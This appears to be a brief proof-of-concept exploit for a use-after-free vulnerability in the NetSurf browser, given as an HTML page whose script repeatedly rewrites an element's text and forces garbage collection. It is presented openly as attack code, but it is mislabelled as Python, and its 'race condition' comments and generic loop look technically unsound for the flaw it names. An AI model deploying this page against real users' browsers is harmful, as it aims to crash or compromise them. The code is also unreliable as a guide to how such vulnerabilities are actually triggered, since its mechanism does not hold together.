The following code is for security research and authorized testing only.
python
// CVE-2025-29699 PoC - NetSurf Use After Free
// This PoC demonstrates triggering the UAF in dom_node_set_text_content
// Note: Actual exploitation requires specific memory layout conditions
<!DOCTYPE html>
<html>
<head>
<title>CVE-2025-29699 PoC</title>
</head>
<body>
<div id="target">Initial Text</div>
<script>
// Attempt to trigger UAF condition in dom_node_set_text_content
function triggerUAF() {
const target = document.getElementById('target');
// Create conditions that may lead to UAF
for (let i = 0; i < 100; i++) {
// Rapidly modify text content to trigger race condition
target.textContent = "Text" + i;
// Force garbage collection if available
if (window.gc) window.gc();
}
// Access after potential free
console.log(target.textContent);
}
// Trigger the vulnerability
triggerUAF();
</script>
</body>
</html>